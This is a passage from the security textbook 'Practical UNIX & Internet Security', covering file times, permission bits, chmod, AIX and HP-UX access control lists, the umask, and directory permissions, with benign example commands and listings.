Feb 9 13:19 | The file's modification time
instructions | The file's name

The ls -F option makes it easier for you to understand the listing by printing a special character after the filename to indicate what it is, as shown in Table 5.2.

Table 5.2: ls -F Tag Meanings
Symbol | Meaning
(blank) | Regular file or named pipe (FIFO[7])
* | Executable program or command file
/ | Directory
= | Socket
@ | Symbolic link

[7] A FIFO is a First-In, First-Out buffer, which is a special kind of named pipe.

Thus, in the directory shown earlier, the file stats is an executable program file; the rest of the files are regular text files.

The -g option to the ls command alters the output, depending on the version of UNIX being used.

If you are using the Berkeley-derived version of ls,[8] you must use thels -g option to display the file's group in addition to the file's owner:

[8] On Solaris systems, this program is named /usr/ucb/ls.

% ls -lFg
total 161
-rw-r--r-- 1 sian     user       505 Feb  9 13:19 instructions
-rw-r--r-- 1 sian     user      3159 Feb  9 13:14 invoice
-rw-r--r-- 1 sian     user      6318 Feb  9 13:14 letter
-rw------- 1 sian     user     15897 Feb  9 13:20 more-stuff
-rw-r----- 1 sian     biochem   4320 Feb  9 13:20 notes
-rwxr-xr-x 1 sian     user    122880 Feb  9 13:26 stats*
%

If you are using an AT&T-derived version of ls,[9] using the -g option causes the ls command to only display the file's group:

[9] On Solaris systems, this program is named /bin/ls.

% ls -lFg
total 161
-rw-r--r-- 1 user        505 Feb  9 13:19 instructions
-rw-r--r-- 1 user       3159 Feb  9 13:14 invoice
-rw-r--r-- 1 user       6318 Feb  9 13:14 letter
-rw------- 1 user      15897 Feb  9 13:20 more-stuff
-rw-r----- 1 biochem    4320 Feb  9 13:20 notes
-rwxr-xr-x 1 user     122880 Feb  9 13:26 stats*
%

5.1.5 File Times

The times shown with the ls -l command are the modification times of the files ( mtime). You can obtain the time of last access (the atime) by providing the -u option (for example, by typing ls -lu). Both of these time values can be changed with a call to a system library routine.[10] Therefore, as the system administrator, you should be in the habit of checking the inode change time ( ctime) by providing the -c option; for example, ls -lc. You can't reset the ctime of a file under normal circumstances. It is updated by the operating system whenever any change is made to the inode for the file.

[10] utimes ( )

Because the inode changes when the file is modified, ctime reflects the time of last writing, protection change, or change of owner. An attacker may change the mtime or atime of a file, but the ctime will usually be correct.

Note that we said "usually." A clever attacker who gains superuser status can change the system clock and then touch the inode to force a misleading ctime on a file. Furthermore, an attacker can change the ctime by writing to the raw disk device and bypassing the operating system checks altogether. And if you are using Linux with the ext2 filesystem, an attacker can modify the inode contents directly using the debugfs command.

For this reason, if the superuser account on your system has been compromised, you should not assume that any of the three times stored with any file or directory are correct.

NOTE: Some programs will change the ctime on a file without actually changing the file itself. This can be misleading when you are looking for suspicious activity. The file command is one such offender. The discrepancy occurs because file opens the file for reading to determine its type, thus changing the atime on the file. By default, most versions of file then reset the atime to its original value, but in so doing change the ctime. Some security scanning programs use the file program within them (or employ similar functionality), and this may result in wide-scale changes in ctime unless they are run on a read-only version of the filesystem.

5.1.6 Understanding File Permissions

The file permissions on each line of the ls listing tell you what the file is and what kind of file access (that is, ability to read, write, or execute) is granted to various users on your system.

Here are two examples of file permissions:

-rw-------
drwxr-xr-x

The first character of the file's mode field indicates the type of file described in Table 5.3.

Table 5.3: File Types
Contents | Meaning
- | Plain file
d | Directory
c | Character device (tty or printer)
b | Block device (usually disk or CD-ROM)
l | Symbolic link (BSD or V.4)
s | Socket (BSD or V.4)
= or p | FIFO (System V, Linux)

The next nine characters taken in groups of three indicate who on your computer can do what with the file. There are three kinds of permissions:

r

Permission to read

w

Permission to write

x

Permission to execute

Similarly, there are three classes of permissions:

owner

The file's owner

group

Users who are in the file's group

other

Everybody else on the system (except the superuser)

In the ls -l command, privileges are illustrated graphically (see Figure 5.2).

Figure 5.2: Basic permissions

5.1.7 File Permissions in Detail

The terms read, write, and execute have very specific meanings for files, as shown in Table 5.4.

Table 5.4: File Permissions
Character | Permission | Meaning
r | READ | Read access means exactly that: you can open a file with the open() system call and you can read its contents with read.
w | WRITE | Write access means that you can overwrite the file with a new one or modify its contents. It also means that you can use write() to make the file longer or truncate() or ftruncate() to make the file shorter.
x | EXECUTE | Execute access makes sense only for programs. If a file has its execute bits set, you can run it by typing its pathname (or by running it with one of the family of exec() system calls). How the program gets executed depends on the first two bytes of the file.
 |  | The first two bytes of an executable file are assumed to be a magic number indicating the nature of the file. Some numbers mean that the file is a certain kind of machine code file. The special two-byte sequence "#!" means that it is an executable script of some kind. Anything with an unknown value is assumed to be a shell script and is executed accordingly.

File permissions apply to devices, named sockets, and FIFOS exactly as they do for regular files. If you have write access, you can write information to the file or other object; if you have read access, you can read from it; and if you don't have either access, you're out of luck.

File permissions do not apply to symbolic links. Whether or not you can read the file pointed to by a symbolic link depends on the file's permissions, not the link's. In fact, symbolic links are almost always created with a file permission of "rwxrwxrwx" (or mode 0777, as explained later in this chapter) and are ignored by the operating system.[11]

[11] Apparently, some vendors have found a use for the mode bits inside a symbolic link's inode. HP-UX 10.0 uses the sticky bit of symbolic links to indicate "transition links" - portability links to ease the transition from previous releases to the new SVR4 filesystem layout.

Note the following facts about file permissions:

  • You can have execute access without having read access. In such a case, you can run a program without reading it. This ability is useful in case you wish to hide the function of a program. Another use is to allow people to execute a program without letting them make a copy of the program (see the note later in this section).

  • If you have read access but not execute access, you can then make a copy of the file and run it for yourself. The copy, however, will be different in two important ways: it will have a different absolute pathname; and it will be owned by you, rather than by the original program's owner.

  • On some versions of UNIX (including Linux), an executable command script must have both its read and execute bits set to allow people to run it.

Most people think that file permissions are pretty basic stuff. Nevertheless, many UNIX systems have had security breaches because their file permissions are not properly set.

NOTE: Sun's Network Filesystem (NFS) servers allow a client to read any file that has either the read or the execute permission set. They do so because there is no difference, from the NFS server's point of view, between a request to read the contents of a file by a user who is using the read() system call and a request to execute the file by a user who is using the exec() system call. In both cases, the contents of the file need to be transferred from the NFS server to the NFS client. (For a detailed description, see Chapter 20, NFS.)

Previous: 4.4 Summary | Practical UNIX & Internet Security | Next: 5.2 Using File Permissions
4.4 Summary | Book Index | 5.2 Using File Permissions


[Chapter 5] 5.2 Using File Permissions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.1 Files Chapter 5
The UNIX Filesystem 		Next: 5.3 The umask

5.2 Using File Permissions

Because file permissions determine who can read and modify the information stored in your files, they are your primary method for protecting the data that you store on your UNIX system.

Consider the directory listing presented earlier in this chapter:

% ls -lF
total 161
-rw-r--r-- 1 sian     user        505 Feb  9 13:19 instructions
-rw-r--r-- 1 sian     user       3159 Feb  9 13:14 invoice
-rw-r--r-- 1 sian     user       6318 Feb  9 13:14 letter
-rw------- 1 sian     user      15897 Feb  9 13:20 more-stuff
-rw-r----- 1 sian     biochem    4320 Feb  9 13:20 notes
-rwxr-xr-x 1 sian     user     122880 Feb  9 13:26 stats*
-------r-x 1 sian     user     989987 Mar  6 08:13 weird-file
%

In this example, any user on the system can read the files instructions, invoice, letter, or stats because they all have the letter r in the "other" column of the permissions field. The file notes can be read only by user sian or by users who are in the biochem group. And only sian can read the information in the file more-stuff.

A more interesting set of permissions is present on weird-file. User sian owns the file but cannot access it. Members of group user also are not allowed access. However, any user except sian who is also not in the group user can read and execute the file. Some variant of these permissions are useful in some cases where you want to make a file readable or executable by others, but you don't want to accidentally overwrite or execute it yourself. If you are the owner of the file and the permissions deny you access, it does not matter if you are in the group, or if other bits are set to allow the access.

Of course, the superuser can read any file on the system, and anybody who knows Sian's password can log in as sian and read her files (including weird-file, if the permissions are changed first).

5.2.1 chmod: Changing a File's Permissions

You can change a file's permissions with the chmod command or the chmod() system call. You can change a file's permissions only if you are the file's owner. The one exception to this rule is the superuser: if you are logged in as superuser, you can change the permissions of any file.[12]

[12] Any file that is not mounted using NFS, that is. See Chapter 20 for details.

In its simplest form, the chmod command lets you specify which of a file's permissions you wish to change. This usage is called symbolic mode. The symbolic form of the chmod command[13] has the form:

[13] The UNIX kernel actually supports two system calls for changing a file's mode: chmod(), which changes the mode of a file, and fchmod(), which changes the mode of a file associated with an open file descriptor.

chmod [-Rfh] [agou][+-=][rwxXstugol] filelist

This command changes the permissions of filelist, which can be either a single file or a group of files. The letters agou specify whose privileges are being modified. You may provide none, one, or more, as shown in Table 5.5.

Table 5.5: Whose Privileges Are Being Modified?
Letter | Meaning
a | Modifies privileges for all users
g | Modifies group privileges
o | Modifies others' privileges
u | Modifies the owner's privileges

The symbols specify what is supposed to be done with the privilege. You must type only one symbol, as shown in Table 5.6.

Table 5.6: What to Do with Privilege
Symbol | Meaning
+ | Adds to the current privilege
- | Removes from the current privilege
= | Replaces the current privilege

The last letters specify which privilege is to be added, as shown in Table 5.7.

Table 5.7: What Privileges Are Being Changed?
Letter | Meaning
Options for all versions of UNIX
r | Read access
w | Write access
x | Execute access
s | SUID or SGID
t | Sticky bit[14]
Options for BSD-derived versions of UNIX only:
X | Sets execute only if the file is a directory or already has some other execute bit set.
u | Takes permissions from the user permissions.
g | Takes permissions from the group permissions.
o | Takes permissions from other permissions.
Options for System V-derived versions of UNIX only:
l | Enables mandatory locking on file.

[14] On most systems, only the superuser can set the sticky bit on a non-directory filesystem entry.

If the -R option is specified for versions that support it, the chmod command runs recursively. If you specify a directory in filelist, that directory has its permission changed, as do all of the files contained in that directory. If the directory contains any subdirectories, the process is repeated.

If the -f option is specified for versions that support it, chmod does not report any errors encountered. This processing is sometimes useful in shell scripts if you don't know whether the filelist exists or not and if you don't want to generate an error message.

The -h option is specified in some systems to change how chmod works with symbolic links. If the -h option is specified and one of the arguments is a symbolic link, the permissions of the file or directory pointed to by the link are not changed.

The symbolic form of the chmod command is useful if you only want to add or remove a specific privilege from a file. For example, if Sian wanted to give everybody in her group write permission to the file notes, she could issue the command:

% ls -l notes
-rw-r--r-- 1 sian     biochem    4320 Feb  9 13:20 notes %
chmod g+w notes
% ls -l notes
-rw-rw-r-- 1 sian     biochem    4320 Feb  9 13:20 notes %

To change this file further so people who aren't in her group can't read it, she could use the command:

% chmod o-r notes
% ls -l notes
-rw-rw---- 1 sian     biochem    4320 Feb  9 13:20 notes
%

To change the permissions of the invoice file so nobody else on the system can read or write it, Sian could use the command:

% chmod go= invoice
% ls -l invoice
-rw------- 1 sian     user    4320 Feb  9 13:20 invoice
% date
Sun Feb 10 00:32:55 EST 1991
%

Notice that changing a file's permissions does not change its modification time (although it will alter the inode's ctime).

5.2.2 Changing a File's Permissions

You can also use the chmod command to set a file's permissions, without regard to the settings that existed before the command was executed. This format is called the absolute form of the chmod command.

The absolute form of chmod has the syntax:

% chmod [-Rfh] mode filelist

where options have the following meanings:

-R

As described earlier

-f

As described earlier

-h

As described earlier

mode

The mode to which you wish to set the file, expressed as an octal[15] value

[15] Octal means "base 8." Normally, we use base 10, which uses the digits 0, 1, 2, 3, 4, 5, 6, 7, 8, and 9. The octal system uses the digitals 0, 1, 2, 3, 4, 5, 6, and 7. If you are confused, don't be: for most purposes, you can pretend that the numbers are in decimal notation and never know the difference.

filelist

The list of the files whose modes you wish to set

To use this form of the chmod command, you must calculate the octal value of the file permissions that you want. The next section describes how to do this.

5.2.3 Calculating Octal File Permissions

chmod allows you to specify a file's permissions with a four-digit octal number. You calculate the number by adding[16] the permissions. Use Table 5.8 to determine the octal number that corresponds to each file permission.

[16] Technically, we are ORing the values together, but as there is no carry, it's the same as adding.

Table 5.8: Octal Numbers and Permissions
Octal Number | Permission
4000 | Set user ID on execution (SUID)
2000 | Set group ID on execution (SGID)
1000 | "Sticky bit"
0400 | Read by owner
0200 | Write by owner
0100 | Execute by owner
0040 | Read by group
0020 | Write by group
0010 | Execute by group
0004 | Read by other
0002 | Write by other
0001 | Execute by other

Thus, a file with the permissions "-rwxr-x---" has a mode of 0750, calculated as follows:

0400 Read by owner

0200 Write by owner

0100 Execute by owner

0040 Read by group

0010 Execute by group 0750 Result

Table 5.9 contains some common file permissions and their uses.

Table 5.9: Common File Permissions
Octal Number | File | Permission
0755 | /bin/ls | Anybody can copy or run the program; the file's owner can modify it.
0711 | $HOME | Locks a user's home directory so that no other users on the system can display its contents, but allows other users to access files or subdirectories contained within the directory if they know the names of the files or directories.
0700 | $HOME | Locks a user's home directory so that no other users on the system can access its contents, or the contents of any subdirectory.
0600 | /usr/mail/$USER and other mailboxes | The user can read or write the contents of the mailbox, but no other users (except the superuser) may access it.
0644 | any file | The file's owner can read or modify the file; everybody else can only read it.
0664 | groupfile | The file's owner or anybody in the group can modify the file; everybody else can only read it.
0666 | writable | Anybody can read or modify the file.
0444 | readable | Anybody can read the file; only the superuser can modify it without changing the permissions.

5.2.4 Using Octal File Permissions

After you have calculated the octal file permission that you want, you can use the chmod command to set the permissions of files you own.

For example, to make all of the C language source files in a directory writable by the owner and readable by everybody else, type the command:

% chmod 644 *.c
% ls -l *.c
-rw-r--r-- 1 kevin     okisrc   28092 Aug  9 9:52 cdrom.c
-rw-r--r-- 1 kevin     okisrc    5496 Aug  9 9:52 cfs_subr.c
-rw-r--r-- 1 kevin     okisrc    5752 Aug  9 9:52 cfs_vfsops.c
-rw-r--r-- 1 kevin     okisrc   11998 Aug  9 9:53 cfs_vnodeops.c
-rw-r--r-- 1 kevin     okisrc    3031 Aug  9 9:53 load_unld.c
-rw-r--r-- 1 kevin     okisrc    1928 Aug  9 9:54 Unix_rw.c
-rw-r--r-- 1 kevin     okisrc     153 Aug  9 9:54 vers.c
%

To change the permissions of a file so it can be read or modified by anybody in your group, but can't be read or written by anybody else in the system, type the command:

% chmod 660 memberlist
% ls -l memberlist
-rw-rw---- 1 kevin    okisrc     153 Aug 10 8:32 memberlist

%

5.2.5 Access Control Lists[17]

[17] This section is largely based on Æleen Frisch's Essential System Administration, Second Edition (O'Reilly & Associates, 1995), Chapter 6, and is used here with permission.

Some versions of UNIX support Access Control Lists, or ACLS. These are normally provided as an extension to standard UNIX file permission modes. With ACLS, you can specify additional access rights to each file and directory for many individual users rather than lumping them all into the category "other." You can also set different permissions for members of different groups. We think they are a wonderful feature, and something we will see more of in future years. Unfortunately, every vendor has implemented them differently, and this makes describing them somewhat complex.

ACLS offer a further refinement to the standard UNIX file permissions capabilities. ACLS enable you to specify file access for completely arbitrary subsets of users and/or groups. Both AIX and HP-UX provide access control lists. Solaris and Linux are supposed to have them in future releases. Also, the Open Software Foundation's Distributed Computing Environment has a form of ACLS.

For many purposes, ACLS are superior to the UNIX group mechanism for small collaborative projects. If Hana wants to give Miria - and only Miria - access to a particular file, Hana can modify the file's ACL to give Miria access. Without ACLS, Hana would have to go to the system administrator, have a new group created that contains both Hana and Miria (and only Hana and Miria) as group members, and then change the group of the file to the newly created group.

NOTE: Because ACLS are not standard across UNIX versions, you should not expect them to work in a network filesystem environment. In particular, Sun plans to support ACLS through the use of private extensions to the NFS3 filesystem, rather than building ACLS into the specification. Therefore, be sure that anything you export via NFS is adequately protected by the default UNIX file permissions and ownership settings.

5.2.5.1 AIX Access Control Lists

An AIX ACL contains these fields (the text in italics to the right describes the line contents):

attributes:		  Special modes like SUID.
base permissions		  Normal UNIX file modes:
    owner(chavez): rw-		   User access.
    group(chem): rw-		   Group access.
    others: r--		   Other access.
extended permissions		  More specific permissions entries:
    enabled		   Whether they're used or not.
    specify  r-- u:harvey		   Permissions for user harvey.
    deny     -w- g:organic		   Permissions for group organic.
    permit   rw- u:hill, g:bio	 	   Permissions for user hill when in group bio.

The first line specifies any special attributes on the file (or directory). The possible attribute keywords are SETUID, SETGID, and SVTX (sticky bit is set). Multiple attributes are all placed on one line, separated by commas.

The next section of the ACL lists the base permissions for the file or directory. These correspond exactly to the UNIX file modes. Thus, for the file we"re looking at, the owner (who is chavez) has read and write access, members of the group chem (which is the group owner of the file) also have read and write access, and all others have read access.

The final section specifies extended permissions for the file: access information specified by user and group name. The first line in this section is either the word enabled or disabled, indicating whether the extended permissions that follow are actually used to determine file access or not. In our example, extended permissions are in use.

The rest of the lines in the ACL are access control entries (ACES), which have the following format:

operation  access-types  user-and-group-info

where the operation is one of the keywords permit, deny, or specify, which correspond to chmod's +, -, and = operators, respectively. permit adds the specified permissions to the ones the user already has, based on the base permissions; deny takes away the specified access; and specify sets the access for the user to the listed value. The access-types are the same as those for normal UNIX file modes. The user-and-group-info consists of a user name (preceded by u:) or one or more group names (each preceded by g:) or both. Multiple items are separated by commas.

Let"s look again at the ACES in our sample ACL:

specify  r--     u:harvey
deny     r--     g:organic
permit   rw-     u:hill, g:bio

The first line grants read-only access to user harvey on this file. The second line removes read access for the organic group from whatever permissions a user in that group already has. The final line adds read and write access to user hill while group bio is part of the current group set. By default, the current group set is all of the groups to which the user belongs.

ACLS that specify a username and group are useful mostly for accounting purposes; the ACL shown earlier ensures that user hill has group bio active when working with this file. They are also useful if you add a user to a group on a temporary basis, ensuring that the added file access goes away if the user is later removed from the group. In the previous example, user hill would no longer have access to the file if she were removed from the bio group (unless, of course, the file's base permissions grant it to her).

If more than one item is included in the user-and-group-info, then all of the items must be true for the entry to be applied to a process (AND logic). For example, the first ACE below is applied only to users who "have both bio and chem in their group sets" (which is often equivalent to "are members of both the chem and bio groups"):

permit   rw-    g:chem, g:bio
permit   rw-    u:hill, g:chem, g:bio

The second ACE applies to user hill only when both groups are in the current group set. If you wanted to grant write access to anyone who was a member of either group chem or group bio, you would specify two separate entries:

permit   rw-    g:chem
permit   rw-    g:bio

At this point, you might wonder what happens when more than one entry applies. When a process requests access to a file with extended permissions, the permitted accesses from the base permissions and all applicable ACES - all ACES which match the user and group identity of the process - are combined via a union operation. The denied accesses from the base permissions and all applicable ACES are also combined. If the requested access is permitted and it is not denied, then it is granted. Thus, contradictions among ACES are resolved in the most conservative way: access is denied unless it is both permitted and not denied.

For example, consider the ACL below:

attributes:  base permissions
    owner(chavez): rw-
    group(chem): r--
    others:         ---
extended permissions
    enabled
    specify         r--   u:stein
    permit          rw-   g:organic, g:bio
    deny            rwx   g:physics

Now suppose that the user stein, who is a member of both the organic and bio groups (and not a member of the chem group), wants write access to this file. The base permissions clearly grant stein no access at all to the file. The ACES in lines one and two of the extended permissions apply to stein. These ACES grant him read access (lines one and two) and write access (line two). They also deny him write and execute access (implicit in line one). Thus, stein will not be given write access because while the combined ACES do grant it to him, they also deny write access, and so the request will fail.

NOTE: The base permissions on a file with an extended access control list may be changed with chmod's symbolic mode, and any changes made in this way will be reflected in the base permissions section of the ACL. However, chmod's numeric mode must not be used for files with extended permissions, because using it automatically disables them.

ACLS may be applied and modified with the acledit command. acledit retrieves the current ACL for the file specified as its argument and opens it for editing, using the text editor specified by the EDITOR environment variable. The use of this variable under AIX is different from its use in other UNIX systems.[18] For one thing, no default exists (most UNIX implementations use vi when EDITOR is unset). For another, AIX requires that the full pathname to the editor be supplied, rather than only the filename.[19]

[18] As are many things in AIX.

[19] E.g., /bin/vi, not vi.

Once in the editor, make any changes to the ACL that you wish. If you are adding extended permission ACES, be sure to change disabled to enabled in the first line of that section. When you are finished, exit from the editor normally. AIX will then print the message:

Should the modified ACL be applied? (y)

If you wish to discard your changes to the ACL, enter "n"; otherwise, you should enter a carriage return. AIX will then check the new ACL, and if it has no errors, apply it to the file. If there are errors in the ACL (misspelled keywords or usernames are the most common), you will be placed back in the editor where you can correct the errors and try again. AIX will put error messages like the following example at the bottom of the file, describing the errors it found:

* line number  9: unknown keyword: spceify
* line number 10: unknown user: chavze

You don't need to delete the error messages themselves from the ACL.

However, this is the slow way of applying an ACL. The aclget and aclput commands offer alternative ways to display and apply ACLS to files.

aclget takes a filename as its argument, and displays the corresponding ACL on standard output (or to the file specified in its -o option).

The aclput command is used to read an ACL from a text file. By default, it takes its input from standard input, or from an input file specified with the -i option. Thus, to set the ACL for the file gold to the one stored in the file metal.acl, you could use this command:

$ aclput -i metal.acl gold

This form of aclput is useful if you use only a few different ACLS, all of which are saved as separate files to be applied as needed.

To copy an ACL from one file to another, put aclget and aclput together in a pipe. For example, the command below copies the ACL from the file silver to the file emerald:

$ aclget silver | aclput emerald

To copy an ACL from one file to a group of files, use xargs:

$ ls *.dat *.old | xargs -i /bin/sh -c "aclget silver | aclput {}"

These commands copy the ACL in silver to all the files ending in .dat and .old in the current directory.

You can use the ls -le command to quickly determine whether a file has an extended permissions set or not:

$ ls -le *_acl
-rw-r-----+   1 chavez  chem           51 Mar 20 13:27  has_acl
-rwxrws----   2 chavez  chem          512 Feb 08 17:58  no_acl

The plus sign appended to the normal mode string indicates the presence of extended permissions; the minus sign is present otherwise.

5.2.5.2 HP-UX access control lists

The lsacl command can be used to view the access control list for a file. For a file having only normal UNIX file modes set, the output looks like this:

(chavez.%,rw-)(%.chem,r--)(%.%,---)  bronze

This example shows the format an ACL takes under HP-UX. Each parenthesized item is known as an access control list entry, although we're going to call them "entries." The percent sign character ("%") is a wildcard within an entry, and the three entries in the previous listing specify the access for user chavez as a member of any group, for any user in group chem, and for all other users and groups, respectively.

A file can have up to 16 access control list entries: three base entries corresponding to normal file modes and up to 13 optional entries. Here is the access control list for another file (generated this time by lsacl -l):

silver:
rwx chavez.%
r-x %.chem
r-x %.phys
r-x hill.bio
rwx harvey.%
--- %.%

This ACL grants every access to user chavez with any current group membership (she is the file owner). It grants read and execute access to members of the chem and phys groups; it grants read and execute access to user hill, if hill is a member of group bio; it grants user harvey read, write, and execute access regardless of his group membership; and it grants no access to any other user or group.

Entries within an HP-UX access control list are examined in order of decreasing specificity: entries with a specific user and group are considered first; those with only a specific user follow; ones with only a specific group are next; and the other entries are last of all. Within a class, entries are examined in order. When determining whether or not to permit file access, the first applicable entry is used. Thus, user harvey will be given write access to the file silver even if he is a member of the chem or phys group.

The chacl command is used to modify the access control list for a file. ACLS can be specified to chacl in two distinct forms: as a list of entries or via a chmod-like syntax. By default, chacl adds entries to the current ACL. For example, these two commands add to the file server's ACL read access for the bio group and read and execute access for user hill:

$ chacl "(%.bio,r--) (hill.%,r-x)" silver
$ chacl "%.bio = r, hill.% = rx" silver

In either format, the access control list must be passed to chacl as a single argument. The second format also includes + and - operators as in chmod. For example, this command adds read access for group chem and user harvey, and removes write access for group chem, adding or modifying ACL entries as needed:

$ chacl "%.chem -w+r, harvey.% +r" silver

chacl's -r option can be used to replace the current ACL:

$ chacl -r "@.% = 7, %.@ = rx, %.bio = r, %.% = " *.dat

The @ sign is a shorthand for the current user or group owner as appropriate, and also enables user-independent ACLS to be constructed. chacl's -f option can be used to copy an ACL from one file to another file or group of files. This command applies the ACL from the file silver to all files in the current directory having the extension .dat :

$ chacl -f silver *.dat

Be careful with this option as it will change the ownership of target files if necessary so that the ACL exactly matches that of the specified file. If you merely want to apply a standard ACL to a set of files, you're better off creating a file containing the desired ACL, using @ characters as appropriate, and then applying it to files in this way:

$ chacl -r `cat acl.metal` *.dat

You can create the initial template file by using lsacl on an existing file and capturing the output.

You can still use chmod to change the base entries of a file with an ACL if you include the -A option. Files with optional entries are marked by a plus sign appended to the mode string in long directory listings:

-rw-------+  1 chavez   chem        8684 Jun 20 16:08 has_one
-rw-r--r--   1 chavez   chem      648205 Jun 20 11:12 none_here

Previous: 5.1 Files | Practical UNIX & Internet Security | Next: 5.3 The umask
5.1 Files | Book Index | 5.3 The umask


[Chapter 5] 5.3 The umask

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.2 Using File Permissions Chapter 5
The UNIX Filesystem 		Next: 5.4 Using Directory Permissions

5.3 The umask

The umask (UNIX shorthand for "user file-creation mode mask") is a four-digit octal number that UNIX uses to determine the file permission for newly created files. Every process has its own umask, inherited from its parent process.

The umask specifies the permissions you do not want given by default to newly created files and directories. umask works by doing a bitwise AND with the bitwise complement of the umask. Bits that are set in the umask correspond to permissions that are not automatically assigned to newly created files.

By default, most UNIX versions specify an octal mode of 666 (any user can read or write the file) when they create new files.[20] Likewise, new programs are created with a mode of 777 (any user can read, write, or execute the program). Inside the kernel, the mode specified in the open call is masked with the value specified by the umask - thus its name.

[20] We don't believe there is any religious significance to this, although we do believe that making files readable and writable by everyone leads to many evil deeds.

Normally, you or your system administrator set the umask in your .login, .cshrc, or .profile files, or in the system /etc/profile file. For example, you may have a line that looks like this in one of your startup files:

# Set the user's umask umask 033

When the umask is set in this manner, it should be set as one of the first commands. Anything executed prior to the umask command will have its prior, possibly unsafe, value.

Under SVR4 you can specify a default umask value in the /etc/defaults/login file. This umask is then given to every user that executes the login program. This method is a much better (and more reliable) means of setting the value for every user than setting the umask in the shell's startup files.

5.3.1 The umask Command

An interface to the umask function is a built-in command in the sh, ksh, and csh shell programs. (If umask were a separate program, then typing umask wouldn't change the umask value for the shell's process! See Appendix C if you are unsure why this scenario is so.) A umask ( ) system call for programs that wish to further change their umask also exists.

The most common umask values are 022, 027, and 077. A umask value of 022 lets the owner both read and write all newly created files, but everybody else can only read them:

0666 | default file-creation mode
(0022) | umask
0644 | resultant mode

A umask value of 077 lets only the file's owner read all newly created files:

0666 | default file-creation mode
(0077) | umask
0600 | resultant mode

A simple way to calculate umask values is to remember that the number 2 in the umask turns off write permission, while 7 turns off read, write, and execute permission.

A umask value of 002 is commonly used by people who are working on group projects. If you create a file with your umask set to 002, anyone in the file's group will be able to read or modify the file. Everybody else will only be allowed to read it:

0666 | default file-creation mode
(0002) | umask
0664 | resultant mode

If you use the Korn shell, ksh, then you can set your umask symbolically. You do this with the same general syntax as the chmod command. In the ksh, the following two commands would be equivalent:

% umask u=rwx,g=x,o=
% umask 067

5.3.2 Common umask Values

On many UNIX systems, the default umask is 022. This is inherited from the init process, as all processes are descendants of init.[21] Some systems may be configured to use another umask value, or a different value may be set in the startup files.

[21] See the discussion in Appendix C, to learn about init's role.

The designers of these systems chose this umask value to foster sharing, an open computing environment, and cooperation among users. Most prototype user accounts shipped with UNIX operating systems specify 022 as the default umask, and many computer centers use this umask when they set up new accounts. Unfortunately, system administrators frequently do not make a point of explaining the umask to novice users, and many users are not aware that most of the files they create are readable by every other user on the system.

A recent trend among computing centers has been to set up new accounts with a umask of 077, so a user's files will, by default, be unreadable by anyone else on the system unless the user makes a conscious choice to make them readable.

Here are some common umask values and their effects:

Table 5.10: Common umask Settings
umask | User Access | Group Access | Other
0000 | all | all | all
0002 | all | all | read, execute
0007 | all | all | none
0022 | all | read, execute | read, execute
0027 | all | read, execute | none
0077 | all | none | none

Previous: 5.2 Using File Permissions | Practical UNIX & Internet Security | Next: 5.4 Using Directory Permissions
5.2 Using File Permissions | Book Index | 5.4 Using Directory Permissions


[Chapter 5] 5.4 Using Directory Permissions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.3 The umask Chapter 5
The UNIX Filesystem 		Next: 5.5 SUID

5.4 Using Directory Permissions

Unlike many other operating systems, UNIX stores the contents of directories in ordinary files. These files are similar to other files, but they are specially marked so that they can only be modified by the operating system.

As with other files, directories have a full complement of security attributes: owner, group, and permission bits. But because directories are interpreted in a special way by the filesystem, the permission bits have special meanings (see Table 5.11).

Table 5.11: Permissions for Directories
Contents | Permission | Meaning
r | read | You can use the opendir() and readdir() functions (or the ls command) to find out which files are in the directory.
w | write | You can add, rename, or remove entries in that directory.
x | execute | You can stat the contents of a directory (e.g., you can determine the owners and the lengths of the files in the directory). You also need execute access to a directory to make that directory your current directory or to open files inside the directory (or in any of the directory's subdirectories).

If you want to prevent other users from reading the contents of your files, you have two choices:

  1. You can set the permission of each file to 0600, so only you have read/write access.

  2. You can put the files in a directory and set the permission of that directory to 0700, which prevents other users from accessing the files in the directory (or in any of the directory's subdirectories) unless there is a link to the file from somewhere else.

Note the following:

  • You must have execute access for a directory to make it your current directory (via cd or chdir) or to change to any directory beneath (contained in) that directory.

  • If you do not have execute access to a directory, you cannot access the files within that directory, even if you own them.

  • If you have execute access to a directory but do not have read access, you cannot list the names of files in the directory (e.g., you cannot read the contents of the directory). However, if you have access to individual files, you can run programs in the directory or open files in it. Some sites use this technique to create secret files - files that users can access only if they know the files' names.

  • To unlink a file from a directory, you need only have write and execute access to that directory even if you have no access rights to the file itself.

  • If you have read access to a directory but do not have execute access, you will be able to display a short listing of the files in the directory (ls); however, you will not be able to find out anything about the files other than their names and inode numbers (ls -i) because you can't stat the files. Remember that the directory itself only contains name and inode information.

    This processing can cause quite a bit of confusion, if you are not expecting it. For example:

    % ls -ldF conv
dr------ 4 rachel      1024 Jul  6 09:42 conv/
% ls conv
3ps.prn bizcard.ps letterhead.eps retlab.eps
% ls -l conv
conv/3ps.prn not found
conv/retlab.eps not found
conv/letterhead.eps not found
conv/bizcard.ps not found
total 0
%

Removing Funny Files

One of the most commonly asked questions by new UNIX users is "How do I delete a file whose name begins with a dash? If I type rm -foo, the rm command treats the filename as an option." There are two simple ways to delete such a file. The first is to use a relative pathname:

% rm ./-foo %

A second way is to supply an empty option argument, although this does not work under every version of UNIX:

% rm - -foo %

If you have a file that has control characters in it, you can use rm command with the -i option and an asterisk, which gives you the option of removing each file in the directory - even the ones that you can't type.

% rm -i *
rm: remove faq.html (y/n)? n
rm: remove foo (y/n)? y
%

A great way to discover files with control characters in them is to use the -q option to the UNIX ls command. You can, for example, alias the ls command to be ls -q. Files that have control characters in their filenames will then appear with question marks:

% alias ls ls -q
% ls f*
faq.html                fmMacros                fmdictionary            fo?o
faxmenu.sea.hqx         fmMacrosLog.backup      fmfilesvisited
%

Table 5.12 contains some common directory permissions and their uses.

Table 5.12: Common Directory Permissions
Octal Number | Directory | Permission
0755 | / | Anybody can view the contents of the directory, but only the owner or superuser can make changes.
1777 | /tmp | Any user can create a file in the directory, but a user cannot delete another user's files.
0700 | $HOME | A user can access the contents of his home directory, but nobody else can.

Previous: 5.3 The umask | Practical UNIX & Internet Security | Next: 5.5 SUID
5.3 The umask | Book Index | 5.5 SUID


[Chapter 5] 5.5 SUID

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 5.4 Using Directory Permissions Chapter 5
The UNIX Filesystem 		Next: 5.6 Device Files

5.5 SUID

